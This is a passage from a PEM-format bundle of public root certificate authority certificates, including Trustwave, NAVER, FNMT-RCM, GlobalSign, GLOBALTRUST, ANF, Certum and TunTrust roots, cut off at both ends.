uE4qFC49DxweMqZiNu5m4iK4BUBjECLzMx10coos9TkpoNPnG4CELcU9402x/RpvumUHO1jsQkUm
+9jaJXLE9gCxInm943xZYkqcBW89zubWR2OZxiRvchLIrH+QtAuRcOi35hYQcRfO3gZPSEF9NUqj
ifLJS3tBEW1ntwiYTOURGa5CgNz7kAXU+FDKvuStx8KU1xad5hePrzb7AgMBAAGjQjBAMA8GA1Ud
EwEB/wQFMAMBAf8wHQYDVR0OBBYEFJngGWcNYtt2s9o9uFvo/ULSMQ6HMA4GA1UdDwEB/wQEAwIB
BjANBgkqhkiG9w0BAQsFAAOCAgEAmHNw4rDT7TnsTGDZqRKGFx6W0OhUKDtkLSGm+J1WE2pIPU/H
PinbbViDVD2HfSMF1OQc3Og4ZYbFdada2zUFvXfeuyk3QAUHw5RSn8pk3fEbK9xGChACMf1KaA0H
ZJDmHvUqoai7PF35owgLEQzxPy0QlG/+4jSHg9bP5Rs1bdID4bANqKCqRieCNqcVtgimQlRXtpla
4gt5kNdXElE1GYhBaCXUNxeEFfsBctyV3lImIJgm4nb1J2/6ADtKYdkNy1GTKv0WBpanI5ojSP5R
vbbEsLFUzt5sQa0WZ37b/TjNuThOssFgy50X31ieemKyJo90lZvkWx3SD92YHJtZuSPTMaCm/zjd
zyBP6VhWOmfD0faZmZ26NraAL4hHT4a/RDqA5Dccprrql5gR0IRiR2Qequ5AvzSxnI9O4fKSTx+O
856X3vOmeWqJcU9LJxdI/uz0UA9PSX3MReO9ekDFQdxhVicGaeVyQYHTtgGJoC86cnn+OjC/QezH
Yj6RS8fZMXZC+fc8Y+wmjHMMfRod6qh8h6jCJ3zhM0EPz8/8AKAigJ5Kp28AsEFFtyLKaEjFQqKu
3R3y4G5OBVixwJAWKqQ9EEC+j2Jjg6mcgn0tAumDMHzLJ8n9HmYAsC7TIS+OMxZsmO0QqAfWzJPP
29FpHOTKyeC2nOnOcXHebD8WpHk=
-----END CERTIFICATE-----

Trustwave Global ECC P256 Certification Authority
=================================================
-----BEGIN CERTIFICATE-----
MIICYDCCAgegAwIBAgIMDWpfCD8oXD5Rld9dMAoGCCqGSM49BAMCMIGRMQswCQYDVQQGEwJVUzER
MA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0d2F2ZSBI
b2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDI1NiBDZXJ0aWZp
Y2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMxOTM1MTBaFw00MjA4MjMxOTM1MTBaMIGRMQswCQYD
VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRy
dXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDI1
NiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABH77bOYj
43MyCMpg5lOcunSNGLB4kFKA3TjASh3RqMyTpJcGOMoNFWLGjgEqZZ2q3zSRLoHB5DOSMcT9CTqm
P62jQzBBMA8GA1UdEwEB/wQFMAMBAf8wDwYDVR0PAQH/BAUDAwcGADAdBgNVHQ4EFgQUo0EGrJBt
0UrrdaVKEJmzsaGLSvcwCgYIKoZIzj0EAwIDRwAwRAIgB+ZU2g6gWrKuEZ+Hxbb/ad4lvvigtwjz
RM4q3wghDDcCIC0mA6AFvWvR9lz4ZcyGbbOcNEhjhAnFjXca4syc4XR7
-----END CERTIFICATE-----

Trustwave Global ECC P384 Certification Authority
=================================================
-----BEGIN CERTIFICATE-----
MIICnTCCAiSgAwIBAgIMCL2Fl2yZJ6SAaEc7MAoGCCqGSM49BAMDMIGRMQswCQYDVQQGEwJVUzER
MA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRydXN0d2F2ZSBI
b2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDM4NCBDZXJ0aWZp
Y2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MjMxOTM2NDNaFw00MjA4MjMxOTM2NDNaMIGRMQswCQYD
VQQGEwJVUzERMA8GA1UECBMISWxsaW5vaXMxEDAOBgNVBAcTB0NoaWNhZ28xITAfBgNVBAoTGFRy
dXN0d2F2ZSBIb2xkaW5ncywgSW5jLjE6MDgGA1UEAxMxVHJ1c3R3YXZlIEdsb2JhbCBFQ0MgUDM4
NCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTB2MBAGByqGSM49AgEGBSuBBAAiA2IABGvaDXU1CDFH
Ba5FmVXxERMuSvgQMSOjfoPTfygIOiYaOs+Xgh+AtycJj9GOMMQKmw6sWASr9zZ9lCOkmwqKi6vr
/TklZvFe/oyujUF5nQlgziip04pt89ZF1PKYhDhloKNDMEEwDwYDVR0TAQH/BAUwAwEB/zAPBgNV
HQ8BAf8EBQMDBwYAMB0GA1UdDgQWBBRVqYSJ0sEyvRjLbKYHTsjnnb6CkDAKBggqhkjOPQQDAwNn
ADBkAjA3AZKXRRJ+oPM+rRk6ct30UJMDEr5E0k9BpIycnR+j9sKS50gU/k6bpZFXrsY3crsCMGcl
CrEMXu6pY5Jv5ZAL/mYiykf9ijH3g/56vxC+GCsej/YpHpRZ744hN8tRmKVuSw==
-----END CERTIFICATE-----

NAVER Global Root Certification Authority
=========================================
-----BEGIN CERTIFICATE-----
MIIFojCCA4qgAwIBAgIUAZQwHqIL3fXFMyqxQ0Rx+NZQTQ0wDQYJKoZIhvcNAQEMBQAwaTELMAkG
A1UEBhMCS1IxJjAkBgNVBAoMHU5BVkVSIEJVU0lORVNTIFBMQVRGT1JNIENvcnAuMTIwMAYDVQQD
DClOQVZFUiBHbG9iYWwgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MTgwODU4
NDJaFw0zNzA4MTgyMzU5NTlaMGkxCzAJBgNVBAYTAktSMSYwJAYDVQQKDB1OQVZFUiBCVVNJTkVT
UyBQTEFURk9STSBDb3JwLjEyMDAGA1UEAwwpTkFWRVIgR2xvYmFsIFJvb3QgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC21PGTXLVAiQqrDZBb
UGOukJR0F0Vy1ntlWilLp1agS7gvQnXp2XskWjFlqxcX0TM62RHcQDaH38dq6SZeWYp34+hInDEW
+j6RscrJo+KfziFTowI2MMtSAuXaMl3Dxeb57hHHi8lEHoSTGEq0n+USZGnQJoViAbbJAh2+g1G7
XNr4rRVqmfeSVPc0W+m/6imBEtRTkZazkVrd/pBzKPswRrXKCAfHcXLJZtM0l/aM9BhK4dA9WkW2
aacp+yPOiNgSnABIqKYPszuSjXEOdMWLyEz59JuOuDxp7W87UC9Y7cSw0BwbagzivESq2M0UXZR4
Yb8ObtoqvC8MC3GmsxY/nOb5zJ9TNeIDoKAYv7vxvvTWjIcNQvcGufFt7QSUqP620wbGQGHfnZ3z
VHbOUzoBppJB7ASjjw2i1QnK1sua8e9DXcCrpUHPXFNwcMmIpi3Ua2FzUCaGYQ5fG8Ir4ozVu53B
A0K6lNpfqbDKzE0K70dpAy8i+/Eozr9dUGWokG2zdLAIx6yo0es+nPxdGoMuK8u180SdOqcXYZai
cdNwlhVNt0xz7hlcxVs+Qf6sdWA7G2POAN3aCJBitOUt7kinaxeZVL6HSuOpXgRM6xBtVNbv8ejy
YhbLgGvtPe31HzClrkvJE+2KAQHJuFFYwGY6sWZLxNUxAmLpdIQM201GLQIDAQABo0IwQDAdBgNV
HQ4EFgQU0p+I36HNLL3s9TsBAZMzJ7LrYEswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMB
Af8wDQYJKoZIhvcNAQEMBQADggIBADLKgLOdPVQG3dLSLvCkASELZ0jKbY7gyKoNqo0hV4/GPnrK
21HUUrPUloSlWGB/5QuOH/XcChWB5Tu2tyIvCZwTFrFsDDUIbatjcu3cvuzHV+YwIHHW1xDBE1UB
jCpD5EHxzzp6U5LOogMFDTjfArsQLtk70pt6wKGm+LUx5vR1yblTmXVHIloUFcd4G7ad6Qz4G3bx
hYTeodoS76TiEJd6eN4MUZeoIUCLhr0N8F5OSza7OyAfikJW4Qsav3vQIkMsRIz75Sq0bBwcupTg
E34h5prCy8VCZLQelHsIJchxzIdFV4XTnyliIoNRlwAYl3dqmJLJfGBs32x9SuRwTMKeuB330DTH
D8z7p/8Dvq1wkNoL3chtl1+afwkyQf3NosxabUzyqkn+Zvjp2DXrDige7kgvOtB5CTh8piKCk5XQ
A76+AqAF3SAi428diDRgxuYKuQl1C/AH6GmWNcf7I4GOODm4RStDeKLRLBT/DShycpWbXgnbiUSY
qqFJu3FS8r/2/yehNq+4tneI3TqkbZs0kNwUXTC/t+sX5Ie3cdCh13cV1ELX8vMxmV2b3RZtP+oG
I/hGoiLtk/bdmuYqh7GYVPEi92tF4+KOdh2ajcQGjTa3FPOdVGm3jjzVpG2Tgbet9r1ke8LJaDmg
kpzNNIaRkPpkUZ3+/uul9XXeifdy
-----END CERTIFICATE-----

AC RAIZ FNMT-RCM SERVIDORES SEGUROS
===================================
-----BEGIN CERTIFICATE-----
MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQswCQYDVQQGEwJF
UzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgwFgYDVQRhDA9WQVRFUy1RMjgy
NjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1SQ00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4
MTIyMDA5MzczM1oXDTQzMTIyMDA5MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQt
UkNNMQ4wDAYDVQQLDAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNB
QyBSQUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuBBAAiA2IA
BPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LHsbI6GA60XYyzZl2hNPk2
LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oKUm8BA06Oi6NCMEAwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqG
SM49BAMDA2kAMGYCMQCuSuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoD
zBOQn5ICMQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJyv+c=
-----END CERTIFICATE-----

GlobalSign Root R46
===================
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgISEdK7udcjGJ5AXwqdLdDfJWfRMA0GCSqGSIb3DQEBDAUAMEYxCzAJBgNV
BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJv
b3QgUjQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAX
BgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBSNDYwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCsrHQy6LNl5brtQyYdpokNRbopiLKkHWPd08Es
CVeJOaFV6Wc0dwxu5FUdUiXSE2te4R2pt32JMl8Nnp8semNgQB+msLZ4j5lUlghYruQGvGIFAha/
r6gjA7aUD7xubMLL1aa7DOn2wQL7Id5m3RerdELv8HQvJfTqa1VbkNud316HCkD7rRlr+/fKYIje
2sGP1q7Vf9Q8g+7XFkyDRTNrJ9CG0Bwta/OrffGFqfUo0q3v84RLHIf8E6M6cqJaESvWJ3En7YEt
bWaBkoe0G1h6zD8K+kZPTXhc+CtI4wSEy132tGqzZfxCnlEmIyDLPRT5ge1lFgBPGmSXZgjPjHvj
K8Cd+RTyG/FWaha/LIWFzXg4mutCagI0GIMXTpRW+LaCtfOW3T3zvn8gdz57GSNrLNRyc0NXfeD4
12lPFzYE+cCQYDdF3uYM2HSNrpyibXRdQr4G9dlkbgIQrImwTDsHTUB+JMWKmIJ5jqSngiCNI/on
ccnfxkF0oE32kRbcRoxfKWMxWXEM2G/CtjJ9++ZdU6Z+Ffy7dXxd7Pj2Fxzsx2sZy/N78CsHpdls
eVR2bJ0cpm4O6XkMqCNqo98bMDGfsVR7/mrLZqrcZdCinkqaByFrgY/bxFn63iLABJzjqls2k+g9
vXqhnQt2sQvHnf3PmKgGwvgqo6GDoLclcqUC4wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA1yrc4GHqMywptWU4jaWSf8FmSwwDQYJKoZIhvcNAQEM
BQADggIBAHx47PYCLLtbfpIrXTncvtgdokIzTfnvpCo7RGkerNlFo048p9gkUbJUHJNOxO97k4Vg
JuoJSOD1u8fpaNK7ajFxzHmuEajwmf3lH7wvqMxX63bEIaZHU1VNaL8FpO7XJqti2kM3S+LGteWy
gxk6x9PbTZ4IevPuzz5i+6zoYMzRx6Fcg0XERczzF2sUyQQCPtIkpnnpHs6i58FZFZ8d4kuaPp92
CC1r2LpXFNqD6v6MVenQTqnMdzGxRBF6XLE+0xRFFRhiJBPSy03OXIPBNvIQtQ6IbbjhVp+J3pZm
OUdkLG5NrmJ7v2B0GbhWrJKsFjLtrWhV/pi60zTe9Mlhww6G9kuEYO4Ne7UyWHmRVSyBQ7N0H3qq
JZ4d16GLuc1CLgSkZoNNiTW2bKg2SnkheCLQQrzRQDGQob4Ez8pn7fXwgNNgyYMqIgXQBztSvwye
qiv5u+YfjyW6hY0XHgL+XVAEV8/+LbzvXMAaq7afJMbfc2hIkCwU9D9SGuTSyxTDYWnP4vkYxboz
nxSjBF25cfe1lNj2M8FawTSLfJvdkzrnE6JwYZ+vj+vYxXX4M2bUdGc6N3ec592kD3ZDZopD8p/7
DEJ4Y9HiD2971KE9dJeFt0g5QdYg/NA6s/rob8SKunE3vouXsXgxT7PntgMTzlSdriVZzH81Xwj3
QEUxeCp6
-----END CERTIFICATE-----

GlobalSign Root E46
===================
-----BEGIN CERTIFICATE-----
MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYxCzAJBgNVBAYT
AkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJvb3Qg
RTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNV
BAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcq
hkjOPQIBBgUrgQQAIgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkB
jtjqR+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGddyXqBPCCj
QjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQxCpCPtsad0kRL
gLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZk
vLtoURMMA/cVi4RguYv/Uo7njLwcAjA8+RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+
CAezNIm8BZ/3Hobui3A=
-----END CERTIFICATE-----

GLOBALTRUST 2020
================
-----BEGIN CERTIFICATE-----
MIIFgjCCA2qgAwIBAgILWku9WvtPilv6ZeUwDQYJKoZIhvcNAQELBQAwTTELMAkGA1UEBhMCQVQx
IzAhBgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVT
VCAyMDIwMB4XDTIwMDIxMDAwMDAwMFoXDTQwMDYxMDAwMDAwMFowTTELMAkGA1UEBhMCQVQxIzAh
BgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVTVCAy
MDIwMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAri5WrRsc7/aVj6B3GyvTY4+ETUWi
D59bRatZe1E0+eyLinjF3WuvvcTfk0Uev5E4C64OFudBc/jbu9G4UeDLgztzOG53ig9ZYybNpyrO
VPu44sB8R85gfD+yc/LAGbaKkoc1DZAoouQVBGM+uq/ufF7MpotQsjj3QWPKzv9pj2gOlTblzLmM
CcpL3TGQlsjMH/1WljTbjhzqLL6FLmPdqqmV0/0plRPwyJiT2S0WR5ARg6I6IqIoV6Lr/sCMKKCm
fecqQjuCgGOlYx8ZzHyyZqjC0203b+J+BlHZRYQfEs4kUmSFC0iAToexIiIwquuuvuAC4EDosEKA
A1GqtH6qRNdDYfOiaxaJSaSjpCuKAsR49GiKweR6NrFvG5Ybd0mN1MkGco/PU+PcF4UgStyYJ9OR
JitHHmkHr96i5OTUawuzXnzUJIBHKWk7buis/UDr2O1xcSvy6Fgd60GXIsUf1DnQJ4+H4xj04KlG
DfV0OoIu0G4skaMxXDtG6nsEEFZegB31pWXogvziB4xiRfUg3kZwhqG8k9MedKZssCz3AwyIDMvU
clOGvGBG85hqwvG/Q/lwIHfKN0F5VVJjjVsSn8VoxIidrPIwq7ejMZdnrY8XD2zHc+0klGvIg5rQ
mjdJBKuxFshsSUktq6HQjJLyQUp5ISXbY9e2nKd+Qmn7OmMCAwEAAaNjMGEwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFNwuH9FhN3nkq9XVsxJxaD1qaJwiMB8GA1Ud
IwQYMBaAFNwuH9FhN3nkq9XVsxJxaD1qaJwiMA0GCSqGSIb3DQEBCwUAA4ICAQCR8EICaEDuw2jA
VC/f7GLDw56KoDEoqoOOpFaWEhCGVrqXctJUMHytGdUdaG/7FELYjQ7ztdGl4wJCXtzoRlgHNQIw
4Lx0SsFDKv/bGtCwr2zD/cuz9X9tAy5ZVp0tLTWMstZDFyySCstd6IwPS3BD0IL/qMy/pJTAvoe9
iuOTe8aPmxadJ2W8esVCgmxcB9CpwYhgROmYhRZf+I/KARDOJcP5YBugxZfD0yyIMaK9MOzQ0MAS
8cE54+X1+NZK3TTN+2/BT+MAi1bikvcoskJ3ciNnxz8RFbLEAwW+uxF7Cr+obuf/WEPPm2eggAe2
HcqtbepBEX4tdJP7wry+UUTF72glJ4DjyKDUEuzZpTcdN3y0kcra1LGWge9oXHYQSa9+pTeAsRxS
vTOBTI/53WXZFM2KJVj04sWDpQmQ1GwUY7VA3+vA/MRYfg0UFodUJ25W5HCEuGwyEn6CMUO+1918
oa2u1qsgEu8KwxCMSZY13At1XrFP1U80DhEgB3VDRemjEdqso5nCtnkn4rnvyOL2NSl6dPrFf4IF
YqYK6miyeUcGbvJXqBUzxvd4Sj1Ce2t+/vdG6tHrju+IaFvowdlxfv1k7/9nR4hYJS8+hge9+6jl
gqispdNpQ80xiEmEU5LAsTkbOYMBMMTyqfrQA71yN2BWHzZ8vTmR9W0Nv3vXkg==
-----END CERTIFICATE-----

ANF Secure Server Root CA
=========================
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----

Certum EC-384 CA
================
-----BEGIN CERTIFICATE-----
MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQswCQYDVQQGEwJQ
TDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2
MDcyNDU0WhcNNDMwMzI2MDcyNDU0WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERh
dGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkx
GTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATEKI6rGFtq
vm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7TmFy8as10CW4kjPMIRBSqn
iBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68KjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFI0GZnQkdjrzife81r1HfS+8EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNo
ADBlAjADVS2m5hjEfO/JUG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0
QoSZ/6vnnvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k=
-----END CERTIFICATE-----

Certum Trusted Root CA
======================
-----BEGIN CERTIFICATE-----
MIIFwDCCA6igAwIBAgIQHr9ZULjJgDdMBvfrVU+17TANBgkqhkiG9w0BAQ0FADB6MQswCQYDVQQG
EwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0g
Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0Ew
HhcNMTgwMzE2MTIxMDEzWhcNNDMwMzE2MTIxMDEzWjB6MQswCQYDVQQGEwJQTDEhMB8GA1UEChMY
QXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEB
AQUAA4ICDwAwggIKAoICAQDRLY67tzbqbTeRn06TpwXkKQMlzhyC93yZn0EGze2jusDbCSzBfN8p
fktlL5On1AFrAygYo9idBcEq2EXxkd7fO9CAAozPOA/qp1x4EaTByIVcJdPTsuclzxFUl6s1wB52
HO8AU5853BSlLCIls3Jy/I2z5T4IHhQqNwuIPMqw9MjCoa68wb4pZ1Xi/K1ZXP69VyywkI3C7Te2
fJmItdUDmj0VDT06qKhF8JVOJVkdzZhpu9PMMsmN74H+rX2Ju7pgE8pllWeg8xn2A1bUatMn4qGt
g/BKEiJ3HAVz4hlxQsDsdUaakFjgao4rpUYwBI4Zshfjvqm6f1bxJAPXsiEodg42MEx51UGamqi4
NboMOvJEGyCI98Ul1z3G4z5D3Yf+xOr1Uz5MZf87Sst4WmsXXw3Hw09Omiqi7VdNIuJGmj8PkTQk
fVXjjJU30xrwCSss0smNtA0Aq2cpKNgB9RkEth2+dv5yXMSFytKAQd8FqKPVhJBPC/PgP5sZ0jeJ
P/J7UhyM9uH3PAeXjA6iWYEMspA90+NZRu0PqafegGtaqge2Gcu8V/OXIXoMsSt0Puvap2ctTMSY
njYJdmZm/Bo/6khUHL4wvYBQv3y1zgD2DGHZ5yQD4OMBgQ692IU0iL2yNqh7XAjlRICMb/gv1SHK
HRzQ+8S1h9E6Tsd2tTVItQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSM+xx1
vALTn04uSNn5YFSqxLNP+jAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQENBQADggIBAEii1QAL
LtA/vBzVtVRJHlpr9OTy4EA34MwUe7nJ+jW1dReTagVphZzNTxl4WxmB82M+w85bj/UvXgF2Ez8s
ALnNllI5SW0ETsXpD4YN4fqzX4IS8TrOZgYkNCvozMrnadyHncI013nR03e4qllY/p0m+jiGPp2K
h2RX5Rc64vmNueMzeMGQ2Ljdt4NR5MTMI9UGfOZR0800McD2RrsLrfw9EAUqO0qRJe6M1ISHgCq8
CYyqOhNf6DR5UMEQGfnTKB7U0VEwKbOukGfWHwpjscWpxkIxYxeU72nLL/qMFH3EQxiJ2fAyQOaA
4kZf5ePBAFmo+eggvIksDkc0C+pXwlM2/KfUrzHN/gLldfq5Jwn58/U7yn2fqSLLiMmq0Uc9Nneo
WWRrJ8/vJ8HjJLWG965+Mk2weWjROeiQWMODvA8s1pfrzgzhIMfatz7DP78v3DSk+yshzWePS/Tj
6tQ/50+6uaWTRRxmHyH6ZF5v4HaUMst19W7l9o/HuKTMqJZ9ZPskWkoDbGs4xugDQ5r3V7mzKWmT
OPQD8rv7gmsHINFSH5pkAnuYZttcTVoP0ISVoDwUQwbKytu4QTbaakRnh6+v40URFWkIsr4WOZck
bxJF0WddCajJFdr60qZfE2Efv4WstK2tBZQIgx51F9NxO5NQI1mg7TyRVJ12AMXDuDjb
-----END CERTIFICATE-----

TunTrust Root CA
================
-----BEGIN CERTIFICATE-----
MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQELBQAwYTELMAkG
